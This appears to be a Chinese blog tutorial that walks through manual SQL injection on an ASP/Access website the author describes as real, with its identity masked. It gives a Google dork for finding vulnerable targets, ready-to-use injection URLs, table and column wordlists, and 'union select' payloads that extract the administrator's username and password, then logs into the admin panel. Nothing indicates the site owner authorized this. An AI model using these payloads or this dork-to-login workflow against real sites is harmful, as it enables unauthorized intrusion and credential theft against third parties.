ASP+Access 手工注入

2022-11-02 12:58:17 浏览数 (1)

0x001 前言

为了讲究学以致用,本文章将以实际的网站进行手工注入ASP Access演示,同时也会为演示的网站做保密,屏蔽网站相关信息。

目标网站URL格式为:http://www.xxx.com/view.asp?id=2

0x002 寻找目标

使用谷歌搜索引擎输入

代码语言:javascript复制
inurl:asp?id=N  # N用数字代替

注意:无法使用谷歌搜索引擎的,可以在火狐浏览器中安装一个谷歌上网助手即可解决。

谷歌搜索出来的结果并不都是我们想要的,需要择优选择进行测试

0x003 判断注入点

找到符合的ASP网站时,我们需要判断是否存在注入点。

判断方法: 先用引号判断注入,然后再在目标网站的URL后加上 and 1 = 1 网站正常并且 and 1 = 2 网站错误时, 则说明该点存在注入。

代码语言:javascript复制
http://www.xxx.com/view.asp?id=2'           # 错误回显
http://www.xxx.com/view.asp?id=2 and 1 = 1  # 正常回显
http://www.xxx.com/view.asp?id=2 and 1 = 2  # 错误回显

0x004 判断数据库类型

AccessMSSQL都有自己的系统表,比如存放数据库中所有对象的表:Access是在系统表 msysobjects 中,但在WEB环境下读取该表会提示没有权限;MSSQL是在 sysobjects 中,在WEB环境下可正常读取。

判断方法1: 在网站的URL后输入 '; 错误回显,则说明是Access数据库。

判断方法2: 在网站的URL后输入 and (select count(*) from msysobjects)>0 ,返回结果是没有读取权限,则说明是Access数据库。

代码语言:javascript复制
http://www.xxx.com/view.asp?id=2 and (select count(*) from msysobjects)>0

0x005 手工进行注入

1. 猜表名

如果知道目标网站的开源源码,可以下载到本地,直接查看Access数据库对应的表即可;若没有,则需要自己猜解。

猜解时在网站的URL后加 and exists (select * from 猜测的表名) ,若网页返回正常,则说明该表存在,反之则不存在。以猜表名为admin为例,如此循环,一直猜到表名为止。

代码语言:javascript复制
http://www.xxx.com/view.asp?id=2 and exists (select * from admin)

经过测试,猜测表名为admin时,网页返回结果正常,说明存在admin表。

常用的表名:admin、user、news、manage、a_admin、x_admin、m_admin、m_admin、adminuser、admin_user、article_admin、administrator、manager、member、memberlist、users、Manage_User、user_info、admin_userinfo、login new 等等

2. 猜字段名

知道存在admin表后,接下来就是猜账号和密码字段名。

猜解时在网站的URL后加 and exists (select 猜测的字段名 from admin) ,若网页返回正常,则说明该字段名存在,反之则不存在。以猜字段名为admin_name为例,如此循环,一直猜到字段名为止。

代码语言:javascript复制
http://www.xxx.com/view.asp?id=2 and exists (select admin_name from admin)

经过测试,存在admin_name字段名。

常用的字段名:username、password、id、adminusername、admin_username、adminname、admin_name、admin、adminuser、admin_user、user_name、user_admin、administrator、administrators、adminpassword、admin_pwd、adminpass、user_pass、admin_passwd、admin_password等等

3. 猜字段数

猜解时在网站的URL后加 order by N (N代表自然数),N的值从小到大逐一增加,若网页返回正常,则说明N的值小于或等于实际字段数;N的值一直增加到页面报错为止,说明实际的字段数为N-1

代码语言:javascript复制
http://www.xxx.com/view.asp?id=2 order by 6  # 正常回显
http://www.xxx.com/view.asp?id=2 order by 7  # 错误回显

经测试,N6时正常回显,N7是错误回显,说明实际字段数为6

4. 猜字段值

使用union select 1,2,3,4,5,6 from admin 测试数据在网页中回显的位置

经测试网页在3位置处回显了结果,于是在3的位置改为我们要查询的字段名admin_name

代码语言:javascript复制
http://www.xxx.com/view.asp?id=2 union select 1,2,admin_name,4,5,6 from admin

经测试,页面返回了结果a,只有一个字母

为了验证结果的准确性,查询下该字段名admin_name的字段值长度

代码语言:javascript复制
http://www.xxx.com/view.asp?id=2 union select 1,2,len(admin_name),4,5,6 from admin

经测试,该字段值长度确实为1,即a就是admin_name的值

同理,经过测试,最终得到该账号的密码也是a

0x006 后台登录验证

对于网站的后台,可以使用御剑后台扫描工具或者其他类似工具进行查找。

这个网站的后台很简单,是最常见的 www.xxx.com/admin/login.asp 格式

最后,输入账号密码登录成功。

参考文章

  • http://www.360doc.com/content/16/0506/17/32935340_556823889.shtml
  • http://www.360doc.com/content/16/0129/15/30328851_531474347.shtml

0 人点赞